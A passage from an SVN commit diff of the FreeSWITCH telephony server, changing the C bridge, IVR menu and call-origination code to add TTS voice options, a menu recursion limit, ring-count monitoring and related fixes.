-			switch_channel_set_variable(channel, SWITCH_BRIDGE_VARIABLE, NULL);
-			switch_channel_set_variable(other_channel, SWITCH_BRIDGE_VARIABLE, NULL);
-
-			if (switch_channel_get_state(other_channel) < CS_HANGUP) {
-				switch_channel_hangup(other_channel, switch_channel_get_cause(channel));
-			}
-		}
-		
-		switch_channel_set_variable(channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
-
-		switch_core_session_rwunlock(other_session);
-	}
-
+	
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -718,7 +742,7 @@
 	switch_channel_t *peer_channel = switch_core_session_get_channel(peer_session);
 	switch_event_t *event;
 
-	if (switch_channel_get_state(peer_channel) >= CS_HANGUP) {
+	if (switch_channel_down(peer_channel)) {
 		switch_channel_hangup(caller_channel, switch_channel_get_cause(peer_channel));
 		return SWITCH_STATUS_FALSE;
 	}
@@ -788,6 +812,8 @@
 	switch_event_t *event;
 	int br = 0;
 	int inner_bridge = switch_channel_test_flag(caller_channel, CF_INNER_BRIDGE);
+	const char *var;
+	switch_call_cause_t cause;
 
 	switch_channel_set_flag(caller_channel, CF_ORIGINATOR);
 
@@ -920,6 +946,39 @@
 				switch_cond_next();
 			}
 
+			if (inner_bridge) {
+				if (switch_channel_ready(caller_channel)) {
+					switch_channel_set_flag(caller_channel, CF_BRIDGED);
+				}
+
+				if (switch_channel_ready(peer_channel)) {
+					switch_channel_set_flag(peer_channel, CF_BRIDGED);
+				}
+			}
+			
+			if ((cause = switch_channel_get_cause(caller_channel))) {
+				switch_channel_set_variable(peer_channel, SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE, switch_channel_cause2str(cause));
+			}
+
+			if ((cause = switch_channel_get_cause(peer_channel))) {
+				switch_channel_set_variable(caller_channel, SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE, switch_channel_cause2str(cause));
+			}
+
+			if (switch_channel_down(peer_channel) && switch_true(switch_channel_get_variable(peer_channel, SWITCH_COPY_XML_CDR_VARIABLE))) {
+				switch_xml_t cdr;
+				char *xml_text;
+				
+				switch_channel_wait_for_state(caller_channel, peer_channel, CS_DESTROY);
+
+				if (switch_ivr_generate_xml_cdr(peer_session, &cdr) == SWITCH_STATUS_SUCCESS) {
+					if ((xml_text = switch_xml_toxml(cdr, SWITCH_FALSE))) {
+						switch_channel_set_variable(caller_channel, "b_leg_cdr", xml_text);
+						switch_safe_free(xml_text);
+					}
+					switch_xml_free(cdr);
+				}
+			}
+
 			switch_core_session_rwunlock(peer_session);
 
 		} else {
@@ -951,6 +1010,8 @@
 			(switch_channel_test_flag(peer_channel, CF_ANSWERED) && state < CS_HANGUP)) {
 			if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
 				switch_ivr_park_session(session);
+			} else if ((var = switch_channel_get_variable(caller_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
+				transfer_after_bridge(session, var);
 			} else if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
 				switch_channel_hangup(caller_channel, switch_channel_get_cause(peer_channel));
 			}
@@ -1008,7 +1069,7 @@
 			originator_channel = switch_core_session_get_channel(originator_session);
 			originatee_channel = switch_core_session_get_channel(originatee_session);
 
-			if (switch_channel_get_state(originator_channel) >= CS_HANGUP) {
+			if (switch_channel_down(originator_channel)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s is hungup refusing to bridge.\n", switch_channel_get_name(originatee_channel));
 				switch_core_session_rwunlock(originator_session);
 				switch_core_session_rwunlock(originatee_session);

Modified: freeswitch/branches/seven/src/switch_ivr_menu.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_ivr_menu.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_ivr_menu.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Neal Horman <neal at wanlink dot com>
  *
  * switch_ivr_menu.c -- IVR Library (menu code)
@@ -44,6 +44,8 @@
 	char *ptr;
 	char *confirm_macro;
 	char *confirm_key;
+	char *tts_engine;
+	char *tts_voice;
 	int confirm_attempts;
 	int digit_len;
 	int max_failures;
@@ -55,6 +57,7 @@
 	struct switch_ivr_menu_action *actions;
 	struct switch_ivr_menu *next;
 	switch_memory_pool_t *pool;
+	int stack_count;
 };
 
 struct switch_ivr_menu_action {
@@ -99,6 +102,8 @@
 													 const char *exit_sound,
 													 const char *confirm_macro,
 													 const char *confirm_key,
+													 const char *tts_engine,
+													 const char *tts_voice,
 													 int confirm_attempts,
 													 int inter_timeout,
 													 int digit_len,
@@ -159,10 +164,14 @@
 		menu->confirm_macro = switch_core_strdup(menu->pool, confirm_macro);
 	}
 
-	if (!switch_strlen_zero(confirm_key)) {
-		menu->confirm_key = switch_core_strdup(menu->pool, confirm_key);
+	if (!switch_strlen_zero(tts_engine)) {
+		menu->tts_engine = switch_core_strdup(menu->pool, tts_engine);
 	}
 
+	if (!switch_strlen_zero(tts_voice)) {
+		menu->tts_voice = switch_core_strdup(menu->pool, tts_voice);
+	}
+
 	menu->confirm_attempts = confirm_attempts;
 
 	menu->inlen = digit_len;
@@ -199,6 +208,8 @@
 		switch_set_flag(menu, SWITCH_IVR_MENU_FLAG_STACK);
 	}
 
+	menu->buf = switch_core_alloc(menu->pool, 1024);
+	
 	*new_menu = menu;
 
 	return SWITCH_STATUS_SUCCESS;
@@ -255,15 +266,15 @@
 	return SWITCH_STATUS_MEMERR;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_free(switch_ivr_menu_t * stack)
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_free(switch_ivr_menu_t *stack)
 {
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
 	if (stack != NULL && stack->pool != NULL) {
 		if (switch_test_flag(stack, SWITCH_IVR_MENU_FLAG_STACK)
 			&& switch_test_flag(stack, SWITCH_IVR_MENU_FLAG_FREEPOOL)) {
-				switch_memory_pool_t *pool = stack->pool;
-				status = switch_core_destroy_memory_pool(&pool);
+			switch_memory_pool_t *pool = stack->pool;
+			status = switch_core_destroy_memory_pool(&pool);
 		} else {
 			status = SWITCH_STATUS_SUCCESS;
 		}
@@ -279,11 +290,18 @@
 	char *ptr;
 	switch_status_t status = SWITCH_STATUS_FALSE;
 	switch_input_args_t args = { 0 };
+	switch_channel_t *channel;
+	char *sound_expanded = sound;
+	switch_size_t menu_buf_len = 0;
 
 	if (!session || !menu || switch_strlen_zero(sound)) {
 		return status;
 	}
 
+	if ((channel = switch_core_session_get_channel(session))) {
+		sound_expanded = switch_channel_expand_variables(channel, sound);
+	}
+
 	memset(menu->buf, 0, menu->inlen + 1);
 	menu->ptr = menu->buf;
 
@@ -297,18 +315,25 @@
 	args.buf = ptr;
 	args.buflen = len;
 
-	status = switch_ivr_play_file(session, NULL, sound, &args);
+	status = switch_ivr_play_file(session, NULL, sound_expanded, &args);
+	
+	if (sound_expanded != sound) {
+		switch_safe_free(sound_expanded);
+	}
 
 	if (!need) {
 		return status;
 	}
 
-	menu->ptr += strlen(menu->buf);
-	if (strlen(menu->buf) < need) {
+	menu_buf_len = strlen(menu->buf);
+
+	menu->ptr += menu_buf_len;
+	if (menu_buf_len < need) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "waiting for %u/%u digits t/o %d\n", 
 						  (uint32_t)(menu->inlen - strlen(menu->buf)), (uint32_t)need, menu->inter_timeout);
 		status = switch_ivr_collect_digits_count(session, menu->ptr, menu->inlen - strlen(menu->buf), 
-												 need, "#", &terminator, menu->inter_timeout, 0, 0);
+												 need, "#", &terminator, menu_buf_len ? menu->inter_timeout : menu->timeout,
+												 menu->inter_timeout, menu->timeout);
 	}
 
 	if (menu->confirm_macro && status == SWITCH_STATUS_SUCCESS && *menu->buf != '\0') {
@@ -355,7 +380,7 @@
 	return status;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_execute(switch_core_session_t *session, switch_ivr_menu_t * stack, char *name, void *obj)
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_execute(switch_core_session_t *session, switch_ivr_menu_t *stack, char *name, void *obj)
 {
 	int reps = 0, errs = 0, timeouts = 0, match = 0, running = 1;
 	char *greeting_sound = NULL, *aptr = NULL;
@@ -365,22 +390,27 @@
 	switch_ivr_menu_t *menu;
 	switch_channel_t *channel;
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	
+	if (++stack->stack_count > 12) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Too many levels of recursion.\n");
+		switch_goto_status(SWITCH_STATUS_FALSE, end);
+	}
 
 	if (!session || !stack || switch_strlen_zero(name)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid menu context\n");
-		return SWITCH_STATUS_FALSE;
+		switch_goto_status(SWITCH_STATUS_FALSE, end);
 	}
 
 	channel = switch_core_session_get_channel(session);
 
 	if (!(menu = switch_ivr_menu_find(stack, name))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Menu!\n");
-		return SWITCH_STATUS_FALSE;
+		switch_goto_status(SWITCH_STATUS_FALSE, end);
 	}
 
-	if (!(menu->buf = malloc(menu->inlen + 1))) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Memory!\n");
-		return SWITCH_STATUS_FALSE;
+	if (!switch_strlen_zero(menu->tts_engine) && !switch_strlen_zero(menu->tts_voice)) {
+		switch_channel_set_variable(channel, "tts_engine", menu->tts_engine);
+		switch_channel_set_variable(channel, "tts_voice", menu->tts_voice);
 	}
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Executing IVR menu %s\n", menu->name);
@@ -426,6 +456,11 @@
 				char substituted[1024];
 				char *use_arg = ap->arg;
 
+				if (!switch_strlen_zero(menu->tts_engine) && !switch_strlen_zero(menu->tts_voice)) {
+					switch_channel_set_variable(channel, "tts_engine", menu->tts_engine);
+					switch_channel_set_variable(channel, "tts_voice", menu->tts_voice);
+				}
+				
 				if (ap->re) {
 					switch_regex_t *re = NULL;
 					int ovector[30];
@@ -466,8 +501,12 @@
 						status = switch_ivr_play_file(session, NULL, aptr, NULL);
 						break;
 					case SWITCH_IVR_ACTION_EXECMENU:
-						reps = -1;
-						status = switch_ivr_menu_execute(session, stack, aptr, obj);
+						if (!strcmp(aptr, menu->name)) {
+							status = SWITCH_STATUS_SUCCESS;
+						} else {
+							reps = -1;
+							status = switch_ivr_menu_execute(session, stack, aptr, obj);
+						}
 						break;
 					case SWITCH_IVR_ACTION_EXECAPP:
 						{
@@ -538,12 +577,16 @@
 		}
 	}
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "exit-sound '%s'\n", menu->exit_sound);
-	if (!switch_strlen_zero(menu->exit_sound)) {
-		status = play_and_collect(session, menu, menu->exit_sound, 0);
+	if (stack->stack_count == 1) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "exit-sound '%s'\n", menu->exit_sound);
+		if (!switch_strlen_zero(menu->exit_sound)) {
+			status = play_and_collect(session, menu, menu->exit_sound, 0);
+		}
 	}
 
-	switch_safe_free(menu->buf);
+ end:
+	
+	stack->stack_count--;
 
 	return status;
 }
@@ -719,6 +762,8 @@
 		const char *max_timeouts = switch_xml_attr_soft(xml_menu, "max-timeouts");
 		const char *confirm_macro= switch_xml_attr(xml_menu, "confirm-macro");
 		const char *confirm_key= switch_xml_attr(xml_menu, "confirm-key");
+		const char *tts_engine= switch_xml_attr(xml_menu, "tts-engine");
+		const char *tts_voice= switch_xml_attr(xml_menu, "tts-voice");
 		const char *confirm_attempts = switch_xml_attr_soft(xml_menu, "confirm-attempts");
 		const char *digit_len = switch_xml_attr_soft(xml_menu, "digit-len");
 		const char *inter_timeout = switch_xml_attr_soft(xml_menu, "inter-digit-timeout");
@@ -740,6 +785,8 @@
 									  exit_sound, 
 									  confirm_macro,
 									  confirm_key,
+									  tts_engine,
+									  tts_voice,
 									  atoi(confirm_attempts),
 									  atoi(inter_timeout),
 									  atoi(digit_len),

Modified: freeswitch/branches/seven/src/switch_ivr_originate.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_ivr_originate.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_ivr_originate.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Travis Cross <tc@traviscross.com>
  *
@@ -58,8 +58,10 @@
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 
-	/* put the channel in a passive state until it is answered */
-	switch_channel_set_state(channel, CS_CONSUME_MEDIA);
+	if (switch_channel_get_state(channel) == CS_ROUTING) {
+		/* put the channel in a passive state until it is answered */
+		switch_channel_set_state(channel, CS_CONSUME_MEDIA);
+	}
 
 	return SWITCH_STATUS_FALSE;
 }
@@ -84,6 +86,7 @@
 	uint8_t answered;
 	uint32_t per_channel_timelimit_sec;
 	uint32_t per_channel_progress_timelimit_sec;
+	uint32_t per_channel_delay_start;
 } originate_status_t;
 
 
@@ -95,6 +98,7 @@
 	char key[80];
 	uint8_t early_ok;
 	uint8_t ring_ready;
+	uint8_t instant_ringback;
 	uint8_t sent_ring;
 	uint8_t progress;
 	uint8_t return_ring_ready;
@@ -103,6 +107,9 @@
 	uint8_t gen_ringback;
 	uint8_t ignore_early_media;
 	uint8_t ignore_ring_ready;
+	int monitor_early_media_ring_count;
+	int monitor_early_media_ring_total;
+	int cancel_timeout;
 } originate_global_t;
 
 
@@ -166,13 +173,13 @@
 
 		switch_core_session_exec(collect->session, application_interface, app_data);
 
-		if (switch_channel_get_state(channel) < CS_HANGUP) {
+		if (switch_channel_up(channel)) {
 			switch_channel_set_flag(channel, CF_WINNER);
 		}
 		goto wbreak;
 	}
 
-	if (!switch_channel_ready(channel)) {
+	if (!switch_channel_up(channel)) {
 		switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 		goto wbreak;
 	}
@@ -214,20 +221,30 @@
 	switch_thread_create(&thread, thd_attr, collect_thread_run, collect, switch_core_session_get_pool(collect->session));
 }
 
-static int check_per_channel_timeouts(originate_status_t *originate_status, 
+static int check_per_channel_timeouts(originate_global_t *oglobals,
+									  originate_status_t *originate_status, 
 									  int max,
 									  time_t start)
 {
 	int x = 0,i;
-	time_t elapsed = switch_timestamp(NULL) - start;
+	time_t elapsed = switch_epoch_time_now(NULL) - start;
 
+	if (oglobals->cancel_timeout > 0) {
+		return 0;
+	}
+
 	for (i = 0; i < max; i++) {
-		if (originate_status[i].peer_channel && switch_channel_get_state(originate_status[i].peer_channel) < CS_HANGUP) {
+		if (originate_status[i].peer_channel && originate_status[i].per_channel_delay_start && elapsed > originate_status[i].per_channel_delay_start) {
+			switch_channel_clear_flag(originate_status[i].peer_channel, CF_BLOCK_STATE);
+			originate_status[i].per_channel_delay_start = 0;
+		}
+
+		if (originate_status[i].peer_channel && switch_channel_up(originate_status[i].peer_channel)) {
 			if (originate_status[i].per_channel_progress_timelimit_sec && elapsed > originate_status[i].per_channel_progress_timelimit_sec &&
 				!(
 				  switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY) ||
 				  switch_channel_test_flag(originate_status[i].peer_channel, CF_ANSWERED) ||
-				  switch_channel_test_flag(originate_status[i].peer_channel, CF_EARLY_MEDIA)
+				  (!oglobals->monitor_early_media_ring && switch_channel_test_flag(originate_status[i].peer_channel, CF_EARLY_MEDIA))
 				  )
 				) {
 				switch_channel_hangup(originate_status[i].peer_channel, SWITCH_CAUSE_PROGRESS_TIMEOUT);
@@ -261,9 +278,14 @@
 				bd = "monitor_early_media_ring";
 			}
 			switch_channel_set_variable(channel, "originate_disposition", bd);
-
+			
 			if (oglobals) {
-
+				if (oglobals->monitor_early_media_ring_total && ++oglobals->monitor_early_media_ring_count < oglobals->monitor_early_media_ring_total) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Ring %d/%d\n", 
+									  oglobals->monitor_early_media_ring_count, oglobals->monitor_early_media_ring_total);
+					return SWITCH_TRUE;
+				}
+	
 				switch_channel_set_private(channel, "_oglobals_", NULL);
 				
 				if (!oglobals->progress) {
@@ -291,9 +313,12 @@
 	uint8_t rval = 0;
 	switch_channel_t *caller_channel = NULL;
 	int pindex = -1;
+	char bug_key[256] = "";
+
 	oglobals->hups = 0;
 	oglobals->idx = IDX_NADA;
 
+
 	if (oglobals->session) {
 		caller_channel = switch_core_session_get_channel(oglobals->session);
 	}
@@ -301,7 +326,7 @@
 
 	for (i = 0; i < len; i++) {
 		switch_channel_state_t state;
-		if (!originate_status[i].peer_channel) {
+		if (!(originate_status[i].peer_channel && originate_status[i].peer_session)) {
 			continue;
 		}
 
@@ -329,7 +354,8 @@
 						int fail_count = 0;
 						char *fail_data = strdup(var);
 						int fx;
-					
+						int y = 0;
+
 						switch_assert(fail_data);
 						fail_count = switch_separate_string(fail_data, '!', fail_array, (sizeof(fail_array) / sizeof(fail_array[0])));
 					
@@ -372,10 +398,13 @@
 									*q = ',';
 								}
 							}
-						
+							switch_snprintf(bug_key, sizeof(bug_key), "monitor_early_media_fail_%d", ++y);
 							switch_ivr_tone_detect_session(originate_status[i].peer_session,
-														   "monitor_early_media_fail",
-														   p, "r", 0, hits, "fail", cause, monitor_callback);
+														   bug_key,
+														   p, "r", 0, 
+														   hits, 
+														   "fail", 
+														   cause, monitor_callback);
 						
 						}
 					
@@ -386,12 +415,14 @@
 				
 				if (oglobals->monitor_early_media_ring) {
 					const char *var = switch_channel_get_variable(originate_status[i].peer_channel, "monitor_early_media_ring");
+					const char *var_total = switch_channel_get_variable(originate_status[i].peer_channel, "monitor_early_media_ring_total");
 					if (!switch_strlen_zero(var)) {
 						char *ring_array[128] = {0};
 						int ring_count = 0;
 						char *ring_data = strdup(var);
 						int fx;
-					
+						int y = 0;
+
 						switch_assert(ring_data);
 						ring_count = switch_separate_string(ring_data, '!', ring_array, (sizeof(ring_array) / sizeof(ring_array[0])));
 					
@@ -426,12 +457,22 @@
 							}
 						
 							switch_channel_set_private(originate_status[i].peer_channel, "_oglobals_", oglobals);
+							switch_snprintf(bug_key, sizeof(bug_key), "monitor_early_media_ring_%d", ++y);
 							switch_ivr_tone_detect_session(originate_status[i].peer_session,
-														   "monitor_early_media_ring",
+														   bug_key,
 														   p, "r", 0, hits, "ring", NULL, monitor_callback);
 							
 						}
 					
+						if (var_total) {
+							int tmp = atoi(var_total);
+							if (tmp > 0 && tmp < 100) {
+								switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s setting ring total to %d\n", 
+												  switch_channel_get_name(originate_status[i].peer_channel), tmp);
+								oglobals->monitor_early_media_ring_total = tmp;
+							}
+						}
+
 						switch_safe_free(ring_data);
 					
 					}
@@ -443,7 +484,7 @@
 				if (!oglobals->progress) {
 					oglobals->progress = 1;
 				}
-			
+				
 				if (!oglobals->ring_ready && !oglobals->ignore_ring_ready) {
 					oglobals->ring_ready = 1;
 				}
@@ -472,6 +513,10 @@
 			if (!switch_strlen_zero(oglobals->key)) {
 				struct key_collect *collect;
 
+				if (oglobals->cancel_timeout < 0) {
+					oglobals->cancel_timeout = 1;
+				}
+
 				if ((collect = switch_core_session_alloc(originate_status[i].peer_session, sizeof(*collect)))) {
 					switch_channel_set_flag(originate_status[i].peer_channel, CF_TAGGED);
 					if (!switch_strlen_zero(oglobals->key)) {
@@ -510,16 +555,19 @@
 	if (pindex > -1 && caller_channel && switch_channel_ready(caller_channel) && !switch_channel_media_ready(caller_channel)) {
 		const char *var = switch_channel_get_variable(caller_channel, "inherit_codec");
 		if (switch_true(var)) {
-			switch_codec_implementation_t impl;
+			switch_codec_implementation_t impl = { 0 };
 			char tmp[128] = "";
 
 			
-			switch_core_session_get_read_impl(originate_status[pindex].peer_session, &impl);
-			switch_snprintf(tmp, sizeof(tmp), "%s@%uk@%ui", impl.iananame, impl.samples_per_second, impl.microseconds_per_packet / 1000);
-			switch_channel_set_variable(caller_channel, "absolute_codec_string", tmp);
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setting codec string on %s to %s\n", switch_channel_get_name(caller_channel), tmp);
+			if (switch_core_session_get_read_impl(originate_status[pindex].peer_session, &impl) == SWITCH_STATUS_SUCCESS) {
+				switch_snprintf(tmp, sizeof(tmp), "%s@%uh@%ui", impl.iananame, impl.samples_per_second, impl.microseconds_per_packet / 1000);
+				switch_channel_set_variable(caller_channel, "absolute_codec_string", tmp);
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setting codec string on %s to %s\n", switch_channel_get_name(caller_channel), tmp);
+			} else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Error inheriting codec.  Channel %s has no read codec yet.\n", 
+								  switch_channel_get_name(originate_status[pindex].peer_channel));
+			}
 
-
 		}
 	}
 	
@@ -584,7 +632,7 @@
 	switch_zmalloc(write_frame.data, SWITCH_RECOMMENDED_BUFFER_SIZE);
 	write_frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
 
-	if (caller_channel && (var = switch_channel_get_variable(caller_channel, "call_timeout"))) {
+	if (caller_channel && (var = switch_channel_get_variable(caller_channel, SWITCH_CALL_TIMEOUT_VARIABLE))) {
 		timelimit = atoi(var);
 		if (timelimit < 0) {
 			timelimit = 60;
@@ -592,7 +640,7 @@
 	}
 
 	timelimit *= 1000000;
-	start = switch_timestamp_now();
+	start = switch_micro_time_now();
 
 	if (caller_channel) {
 		if (switch_channel_test_flag(caller_channel, CF_ANSWERED)) {
@@ -708,7 +756,7 @@
 
 	while (switch_channel_ready(peer_channel)
 		   && !(switch_channel_test_flag(peer_channel, CF_ANSWERED) || switch_channel_test_flag(peer_channel, CF_EARLY_MEDIA))) {
-		int diff = (int) (switch_timestamp_now() - start);
+		int diff = (int) (switch_micro_time_now() - start);
 
 		if (diff > timelimit) {
 			status = SWITCH_STATUS_TIMEOUT;
@@ -794,7 +842,7 @@
 
 	switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
 
-	if (write_codec.implementation) {
+	if (switch_core_codec_ready(&write_codec)) {
 		switch_core_codec_destroy(&write_codec);
 	}
 
@@ -805,7 +853,7 @@
 	return (!caller_channel || switch_channel_ready(caller_channel)) ? status : SWITCH_STATUS_FALSE;
 }
 
-static void process_import(switch_core_session_t *session, switch_channel_t *peer_channel)
+SWITCH_DECLARE(void) switch_process_import(switch_core_session_t *session, switch_channel_t *peer_channel, const char *varname)
 {
 	const char *import, *val;
 	switch_channel_t *caller_channel;
@@ -813,7 +861,7 @@
 	switch_assert(session && peer_channel);
 	caller_channel = switch_core_session_get_channel(session);
 	
-	if ((import = switch_channel_get_variable(caller_channel, "import"))) {
+	if ((import = switch_channel_get_variable(caller_channel, varname))) {
 		char *mydata = switch_core_session_strdup(session, import);
 		int i, argc;
 		char *argv[64] = { 0 };
@@ -877,10 +925,11 @@
 	char *fail_on_single_reject_var = NULL;
 	char *loop_data = NULL;
 	uint32_t progress_timelimit_sec = 0;
-	const char *cid_tmp;
+	const char *cid_tmp, *lc;
 	originate_global_t oglobals = { 0 };
-
-
+	int cdr_total = 0;
+	int local_clobber = 0;
+	
 	oglobals.idx = IDX_NADA;
 	oglobals.early_ok = 1;
 	oglobals.session = session;
@@ -962,16 +1011,44 @@
 	if (ovars) {
 		var_event = ovars;
 	} else {
-		if (switch_event_create(&var_event, SWITCH_EVENT_GENERAL) != SWITCH_STATUS_SUCCESS) {
+		if (switch_event_create_plain(&var_event, SWITCH_EVENT_CHANNEL_DATA) != SWITCH_STATUS_SUCCESS) {
 			abort();
 		}
 	}
 
+	if (vars) {					/* Parse parameters specified from the dialstring */
+		char *var_array[1024] = { 0 };
+		int var_count = 0;
+		if ((var_count = switch_separate_string(vars, ',', var_array, (sizeof(var_array) / sizeof(var_array[0]))))) {
+			int x = 0;
+			for (x = 0; x < var_count; x++) {
+				char *inner_var_array[2] = { 0 };
+				int inner_var_count;
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "variable string %d = [%s]\n", x, var_array[x]);
+				if ((inner_var_count =
+					 switch_separate_string(var_array[x], '=', inner_var_array, (sizeof(inner_var_array) / sizeof(inner_var_array[0])))) == 2) {
+					switch_event_del_header(var_event, inner_var_array[0]);
+					switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, inner_var_array[0], inner_var_array[1]);
+				}
+			}
+		}
+	}
+
 	if (oglobals.session) {
 		switch_event_header_t *hi;
+		const char *cdr_total_var;
+
 		caller_channel = switch_core_session_get_channel(oglobals.session);
 
-		/* Copy all the applicable channel variables into the event */
+		if ((cdr_total_var = switch_channel_get_variable(caller_channel, "failed_xml_cdr_total"))) {
+			int tmp = atoi(cdr_total_var);
+			if (tmp > 0) {
+				cdr_total = tmp;
+			}
+		}
+		
+
+		/* Copy all the missing applicable channel variables from A-leg into the event */
 		if ((hi = switch_channel_variable_first(caller_channel))) {
 			for (; hi; hi = hi->next) {
 				int ok = 0;
@@ -979,6 +1056,8 @@
 					ok = 1;
 				} else if (!strcasecmp((char *) hi->name, "group_confirm_file")) {
 					ok = 1;
+				} else if (!strcasecmp((char *) hi->name, "group_confirm_cancel_timeout")) {
+					ok = 1;
 				} else if (!strcasecmp((char *) hi->name, "forked_dial")) {
 					ok = 1;
 				} else if (!strcasecmp((char *) hi->name, "fail_on_single_reject")) {
@@ -989,27 +1068,21 @@
 					ok = 1;
 				} else if (!strcasecmp((char *) hi->name, "monitor_early_media_ring")) {
 					ok = 1;
+				} else if (!strcasecmp((char *) hi->name, "monitor_early_media_ring_total")) {
+					ok = 1;
 				} else if (!strcasecmp((char *) hi->name, "monitor_early_media_fail")) {
 					ok = 1;
 				} else if (!strcasecmp((char *) hi->name, "return_ring_ready")) {
 					ok = 1;
 				} else if (!strcasecmp((char *) hi->name, "ring_ready")) {
 					ok = 1;
-				} else if (!strcasecmp((char *) hi->name, "originate_retries")) {
+				} else if (!strcasecmp((char *) hi->name, "instant_ringback")) {
 					ok = 1;
-				} else if (!strcasecmp((char *) hi->name, "originate_timeout")) {
-					ok = 1;
 				} else if (!strcasecmp((char *) hi->name, "progress_timeout")) {
 					ok = 1;
-				} else if (!strcasecmp((char *) hi->name, "originate_retry_sleep_ms")) {
-					ok = 1;
-				} else if (!strcasecmp((char *) hi->name, "origination_caller_id_name")) {
-					ok = 1;
-				} else if (!strcasecmp((char *) hi->name, "origination_caller_id_number")) {
-					ok = 1;
 				}
 
-				if (ok) {
+				if (ok && !switch_event_get_header(var_event, hi->name)) {
 					switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, (char *) hi->name, (char *) hi->value);
 				}
 			}
@@ -1028,24 +1101,6 @@
 		*/
 	}
 
-	if (vars) {					/* Parse parameters specified from the dialstring */
-		char *var_array[1024] = { 0 };
-		int var_count = 0;
-		if ((var_count = switch_separate_string(vars, ',', var_array, (sizeof(var_array) / sizeof(var_array[0]))))) {
-			int x = 0;
-			for (x = 0; x < var_count; x++) {
-				char *inner_var_array[2] = { 0 };
-				int inner_var_count;
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "variable string %d = [%s]\n", x, var_array[x]);
-				if ((inner_var_count =
-					 switch_separate_string(var_array[x], '=', inner_var_array, (sizeof(inner_var_array) / sizeof(inner_var_array[0])))) == 2) {
-
-					switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, inner_var_array[0], inner_var_array[1]);
-				}
-			}
-		}
-	}
-
 	if (caller_channel) {		/* ringback is only useful when there is an originator */
 		ringback_data = NULL;
 
@@ -1079,6 +1134,10 @@
 		oglobals.early_ok = 0;
 	}
 
+	if (switch_true(switch_event_get_header(var_event, "group_confirm_cancel_timeout"))) {
+		oglobals.cancel_timeout = -1;
+	}
+
